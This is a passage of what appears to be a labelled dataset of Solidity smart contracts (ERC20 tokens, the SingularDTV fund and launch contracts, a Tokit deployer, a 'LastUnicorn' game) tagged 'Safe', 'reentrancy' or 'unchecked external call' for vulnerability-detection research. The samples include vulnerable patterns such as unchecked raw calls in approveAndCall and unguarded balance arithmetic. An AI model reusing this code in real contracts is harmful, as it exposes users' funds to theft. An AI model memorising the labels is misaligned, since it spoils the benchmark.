) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } }",Safe,8,8 33329.sol,"contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 12000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 12000000000000000000000000; // Update total supply (100000 for example) name = ""eVOLVE Coin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""EVOC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 32315.sol,"pragma solidity ^0.4.15; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract AbstractPaymentEscrow is Ownable { address public wallet; mapping (uint => uint) public deposits; event Payment(address indexed _customer, uint indexed _projectId, uint value); event Withdraw(address indexed _wallet, uint value); function withdrawFunds() public; /** * @dev Change the wallet * @param _wallet address of the wallet where fees will be transfered when spent */ function changeWallet(address _wallet) public onlyOwner() { wallet = _wallet; } /** * @dev Get the amount deposited for the provided project, returns 0 if there's no deposit for that project or the amount in wei * @param _projectId The id of the project * @return 0 if there's either no deposit for _projectId, otherwise returns the deposited amount in wei */ function getDeposit(uint _projectId) public constant returns (uint) { return deposits[_projectId]; } } contract TokitRegistry is Ownable { struct ProjectContracts { address token; address fund; address campaign; } // registrar => true/false mapping (address => bool) public registrars; // customer => project_id => token/campaign mapping (address => mapping(uint => ProjectContracts)) public registry; // project_id => token/campaign mapping (uint => ProjectContracts) public project_registry; event RegisteredToken(address indexed _projectOwner, uint indexed _projectId, address _token, address _fund); event RegisteredCampaign(address indexed _projectOwner, uint indexed _projectId, address _campaign); modifier onlyRegistrars() { require(registrars[msg.sender]); _; } function TokitRegistry(address _owner) { setRegistrar(_owner, true); transferOwnership(_owner); } function register(address _customer, uint _projectId, address _token, address _fund) onlyRegistrars() { registry[_customer][_projectId].token = _token; registry[_customer][_projectId].fund = _fund; project_registry[_projectId].token = _token; project_registry[_projectId].fund = _fund; RegisteredToken(_customer, _projectId, _token, _fund); } function register(address _customer, uint _projectId, address _campaign) onlyRegistrars() { registry[_customer][_projectId].campaign = _campaign; project_registry[_projectId].campaign = _campaign; RegisteredCampaign(_customer, _projectId, _campaign); } function lookup(address _customer, uint _projectId) constant returns (address token, address fund, address campaign) { return ( registry[_customer][_projectId].token, registry[_customer][_projectId].fund, registry[_customer][_projectId].campaign ); } function lookupByProject(uint _projectId) constant returns (address token, address fund, address campaign) { return ( project_registry[_projectId].token, project_registry[_projectId].fund, project_registry[_projectId].campaign ); } function setRegistrar(address _registrar, bool enabled) onlyOwner() { registrars[_registrar] = enabled; } } /// @title Fund contract - Implements reward distribution. /// @author Stefan George - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVFund { string public version = ""0.1.0""; /* * External contracts */ AbstractSingularDTVToken public singularDTVToken; /* * Storage */ address public owner; uint public totalReward; // User's address => Reward at time of withdraw mapping (address => uint) public rewardAtTimeOfWithdraw; // User's address => Reward which can be withdrawn mapping (address => uint) public owed; modifier onlyOwner() { // Only guard is allowed to do this action. if (msg.sender != owner) { revert(); } _; } /* * Contract functions */ /// @dev Deposits reward. Returns success. function depositReward() public payable returns (bool) { totalReward += msg.value; return true; } /// @dev Withdraws reward for user. Returns reward. /// @param forAddress user's address. function calcReward(address forAddress) private returns (uint) { return singularDTVToken.balanceOf(forAddress) * (totalReward - rewardAtTimeOfWithdraw[forAddress]) / singularDTVToken.totalSupply(); } /// @dev Withdraws reward for user. Returns reward. function withdrawReward() public returns (uint) { uint value = calcReward(msg.sender) + owed[msg.sender]; rewardAtTimeOfWithdraw[msg.sender] = totalReward; owed[msg.sender] = 0; if (value > 0 && !msg.sender.send(value)) { revert(); } return value; } /// @dev Credits reward to owed balance. /// @param forAddress user's address. function softWithdrawRewardFor(address forAddress) external returns (uint) { uint value = calcReward(forAddress); rewardAtTimeOfWithdraw[forAddress] = totalReward; owed[forAddress] += value; return value; } /// @dev Setup function sets external token address. /// @param singularDTVTokenAddress Token address. function setup(address singularDTVTokenAddress) external onlyOwner returns (bool) { if (address(singularDTVToken) == 0) { singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress); return true; } return false; } /// @dev Contract constructor function sets guard address. function SingularDTVFund() { // Set owner address owner = msg.sender; } /// @dev Fallback function acts as depositReward() function () public payable { if (msg.value == 0) { withdrawReward(); } else { depositReward(); } } } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract AbstractSingularDTVFund { function softWithdrawRewardFor(address forAddress) returns (uint); } /// @title Token contract - Implements token issuance. /// @author Stefan George - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVToken is StandardToken { string public version = ""0.1.0""; /* * External contracts */ AbstractSingularDTVFund public singularDTVFund; /* * Token meta data */ string public name; string public symbol; uint8 public constant decimals = 18; /// @dev Transfers sender's tokens to a given address. Returns success. /// @param to Address of token receiver. /// @param value Number of tokens to transfer. function transfer(address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(msg.sender); singularDTVFund.softWithdrawRewardFor(to); return super.transfer(to, value); } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param from Address from where tokens are withdrawn. /// @param to Address to where tokens are sent. /// @param value Number of tokens to transfer. function transferFrom(address from, address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(from); singularDTVFund.softWithdrawRewardFor(to); return super.transferFrom(from, to, value); } function SingularDTVToken(address sDTVFundAddr, address _wallet, string _name, string _symbol, uint _totalSupply) { if(sDTVFundAddr == 0 || _wallet == 0) { // Fund and Wallet addresses should not be null. revert(); } balances[_wallet] = _totalSupply; totalSupply = _totalSupply; name = _name; symbol = _symbol; singularDTVFund = AbstractSingularDTVFund(sDTVFundAddr); Transfer(this, _wallet, _totalSupply); } } contract AbstractSingularDTVToken is Token { } /// @title Token Creation contract - Implements token creation functionality. /// @author Stefan George - <[email protected]> /// @author Razvan Pop - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVLaunch { string public version = ""0.1.0""; event Contributed(address indexed contributor, uint contribution, uint tokens); /* * External contracts */ AbstractSingularDTVToken public singularDTVToken; address public workshop; address public SingularDTVWorkshop = 0xc78310231aA53bD3D0FEA2F8c705C67730929D8f; uint public SingularDTVWorkshopFee; /* * Constants */ uint public CAP; // in wei scale of tokens uint public DURATION; // in seconds uint public TOKEN_TARGET; // Goal threshold in wei scale of tokens /* * Enums */ enum Stages { Deployed, GoingAndGoalNotReached, EndedAndGoalNotReached, GoingAndGoalReached, EndedAndGoalReached } /* * Storage */ address public owner; uint public startDate; uint public fundBalance; uint public valuePerToken; //in wei uint public tokensSent; // participant address => value in Wei mapping (address => uint) public contributions; // participant address => token amount in wei scale mapping (address => uint) public sentTokens; // Initialize stage Stages public stage = Stages.Deployed; modifier onlyOwner() { // Only owner is allowed to do this action. if (msg.sender != owner) { revert(); } _; } modifier atStage(Stages _stage) { if (stage != _stage) { revert(); } _; } modifier atStageOR(Stages _stage1, Stages _stage2) { if (stage != _stage1 && stage != _stage2) { revert(); } _; } modifier timedTransitions() { uint timeElapsed = now - startDate; if (timeElapsed >= DURATION) { if (stage == Stages.GoingAndGoalNotReached) { stage = Stages.EndedAndGoalNotReached; } else if (stage == Stages.GoingAndGoalReached) { stage = Stages.EndedAndGoalReached; } } _; } /* * Contract functions */ /// dev Validates invariants. function checkInvariants() constant internal { if (fundBalance > this.balance) { revert(); } } /// @dev Can be triggered if an invariant fails. function emergencyCall() public returns (bool) { if (fundBalance > this.balance) { if (this.balance > 0 && !SingularDTVWorkshop.send(this.balance)) { revert(); } return true; } return false; } /// @dev Allows user to create tokens if token creation is still going and cap not reached. Returns token count. function fund() public timedTransitions atStageOR(Stages.GoingAndGoalNotReached, Stages.GoingAndGoalReached) payable returns (uint) { uint tokenCount = (msg.value * (10**18)) / valuePerToken; // Token count in wei is rounded down. Sent ETH should be multiples of valuePerToken. require(tokenCount > 0); if (tokensSent + tokenCount > CAP) { // User wants to create more tokens than available. Set tokens to possible maximum. tokenCount = CAP - tokensSent; } tokensSent += tokenCount; uint contribution = (tokenCount * valuePerToken) / (10**18); // Ether spent by user. // Send change back to user. if (msg.value > contribution && !msg.sender.send(msg.value - contribution)) { revert(); } // Update fund and user's balance and total supply of tokens. fundBalance += contribution; contributions[msg.sender] += contribution; sentTokens[msg.sender] += tokenCount; if (!singularDTVToken.transfer(msg.sender, tokenCount)) { // Tokens could not be issued. revert(); } // Update stage if (stage == Stages.GoingAndGoalNotReached) { if (tokensSent >= TOKEN_TARGET) { stage = Stages.GoingAndGoalReached; } } // not an else clause for the edge case that the CAP and TOKEN_TARGET are reached in one call if (stage == Stages.GoingAndGoalReached) { if (tokensSent == CAP) { stage = Stages.EndedAndGoalReached; } } checkInvariants(); Contributed(msg.sender, contribution, tokenCount); return tokenCount; } /// @dev Allows user to withdraw ETH if token creation period ended and target was not reached. Returns contribution. function withdrawContribution() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { // We get back the tokens from the contributor before giving back his contribution uint tokensReceived = sentTokens[msg.sender]; sentTokens[msg.sender] = 0; if (!singularDTVToken.transferFrom(msg.sender, owner, tokensReceived)) { revert(); } // Update fund's and user's balance and total supply of tokens. uint contribution = contributions[msg.sender]; contributions[msg.sender] = 0; fundBalance -= contribution; // Send ETH back to user. if (contribution > 0) { msg.sender.transfer(contribution); } checkInvariants(); return contribution; } /// @dev Withdraws ETH to workshop address. Returns success. function withdrawForWorkshop() public timedTransitions atStage(Stages.EndedAndGoalReached) returns (bool) { uint value = fundBalance; fundBalance = 0; require(value > 0); uint networkFee = value * SingularDTVWorkshopFee / 100; workshop.transfer(value - networkFee); SingularDTVWorkshop.transfer(networkFee); uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return true; } /// @dev Allows owner to get back unsent tokens in case of launch failure (EndedAndGoalNotReached). function withdrawUnsentTokensForOwner() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return remainingTokens; } /// @dev Sets token value in Wei. /// @param valueInWei New value. function changeValuePerToken(uint valueInWei) public onlyOwner atStage(Stages.Deployed) returns (bool) { valuePerToken = valueInWei; return true; } // updateStage allows calls to receive correct stage. It can be used for transactions but is not part of the regular token creation routine. // It is not marked as constant because timedTransitions modifier is altering state and constant is not yet enforced by solc. /// @dev returns correct stage, even if a function with timedTransitions modifier has not yet been called successfully. function updateStage() public timedTransitions returns (Stages) { return stage; } function start() public onlyOwner atStage(Stages.Deployed) returns (uint) { if (!singularDTVToken.transferFrom(msg.sender, this, CAP)) { revert(); } startDate = now; stage = Stages.GoingAndGoalNotReached; checkInvariants(); return startDate; } /// @dev Contract constructor function sets owner and start date. function SingularDTVLaunch( address singularDTVTokenAddress, address _workshop, address _owner, uint _total, uint _unit_price, uint _duration, uint _threshold, uint _singulardtvwoskhop_fee ) { singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress); workshop = _workshop; owner = _owner; CAP = _total; // Total number of tokens (wei scale) valuePerToken = _unit_price; // wei per token DURATION = _duration; // in seconds TOKEN_TARGET = _threshold; // Goal threshold SingularDTVWorkshopFee = _singulardtvwoskhop_fee; } /// @dev Fallback function acts as fund() when stage GoingAndGoalNotReached /// or GoingAndGoalReached. And act as withdrawFunding() when EndedAndGoalNotReached. /// otherwise throw. function () public payable { if (stage == Stages.GoingAndGoalNotReached || stage == Stages.GoingAndGoalReached) fund(); else if (stage == Stages.EndedAndGoalNotReached) withdrawContribution(); else revert(); } } contract TokitDeployer is Ownable { TokitRegistry public registry; // payment_type => payment_contract mapping (uint8 => AbstractPaymentEscrow) public paymentContracts; event DeployedToken(address indexed _customer, uint indexed _projectId, address _token, address _fund); event DeployedCampaign(address indexed _customer, uint indexed _projectId, address _campaign); function TokitDeployer(address _owner, address _registry) { transferOwnership(_owner); registry = TokitRegistry(_registry); } function deployToken( address _customer, uint _projectId, uint8 _payedWith, uint _amountNeeded, // SingularDTVToken address _wallet, string _name, string _symbol, uint _totalSupply ) onlyOwner() { // payed for require(AbstractPaymentEscrow(paymentContracts[_payedWith]).getDeposit(_projectId) >= _amountNeeded); var (t,,) = registry.lookup(_customer, _projectId); // not deployed yet require(t == address(0)); SingularDTVFund fund = new SingularDTVFund(); SingularDTVToken token = new SingularDTVToken(fund, _wallet, _name, _symbol, _totalSupply); fund.setup(token); registry.register(_customer, _projectId, token, fund); DeployedToken(_customer, _projectId, token, fund); } function deployCampaign( address _customer, uint _projectId, // SingularDTVLaunch address _workshop, uint _total, uint _unitPrice, uint _duration, uint _threshold, uint _networkFee ) onlyOwner() { var (t,f,c) = registry.lookup(_customer, _projectId); // not deployed yet require(c == address(0)); // payed for, token & fund deployed require(t != address(0) && f != address(0)); SingularDTVLaunch campaign = new SingularDTVLaunch(t, _workshop, _customer, _total, _unitPrice, _duration, _threshold, _networkFee); registry.register(_customer, _projectId, campaign); DeployedCampaign(_customer, _projectId, campaign); } function setRegistryContract(address _registry) onlyOwner() { registry = TokitRegistry(_registry); } function setPaymentContract(uint8 _paymentType, address _paymentContract) onlyOwner() { paymentContracts[_paymentType] = AbstractPaymentEscrow(_paymentContract); } function deletePaymentContract(uint8 _paymentType) onlyOwner() { delete paymentContracts[_paymentType]; } }",./Dataset/unchecked external call (UC),7,7 2723.sol,"pragma solidity ^0.4.24; contract RSEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularLastUnicorn is RSEvents {} contract LastUnicorn is modularLastUnicorn { using SafeMath for *; using NameFilter for string; using RSKeysCalc for uint256; UnicornInterfaceForForwarder constant private TeamUnicorn = UnicornInterfaceForForwarder(0xBB14004A6f3D15945B3786012E00D9358c63c92a); UnicornBookInterface constant private UnicornBook = UnicornBookInterface(0x98547788f328e1011065E4068A8D72bacA1DDB49); string constant public name = ""LastUnicorn Round #1""; string constant public symbol = ""RS1""; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => RSdatasets.Player) public plyr_; mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; RSdatasets.Round public round_; uint256 public fees_ = 60; uint256 public potSplit_ = 45; constructor() public { } modifier isActivated() { require(activated_ == true, ""its not ready yet""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""non smart contract address only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""too little money""); require(_eth <= 100000000000000000000000, ""too much money""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_.end && round_.ended == false && round_.plyr != 0) { RSdatasets.EventReturns memory _eventData_; round_.ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view 